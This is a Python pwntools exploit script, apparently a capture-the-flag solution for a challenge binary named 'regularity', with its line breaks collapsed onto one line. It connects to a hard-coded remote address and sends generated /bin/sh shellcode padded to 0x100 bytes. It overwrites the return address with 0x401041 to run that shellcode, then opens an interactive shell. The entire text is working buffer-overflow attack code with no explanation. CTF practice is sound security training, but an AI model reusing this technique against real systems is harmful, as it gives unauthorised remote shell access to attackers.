from pwn import * from pwnlib.util.cyclic import cyclic_gen from pwnlib.util.fiddling import enhex, xor from struct import pack from pwnlib import shellcraft from pwnlib.asm import asm p = None def run(): global p chall = "./regularity" context.binary = chall context.log_level = 'debug' # p = process(chall) p = remote("94.237.59.230", "43639") elf = ELF(chall) # libc = ELF("libc-2.31.so") sc = asm(shellcraft.sh()) pause() payload = b'' payload += sc payload += b'a'*(0x100-len(payload)) payload += p64(0x401041) p.sendafter(b"days?\n", payload) p.interactive() if __name__ == "__main__": run()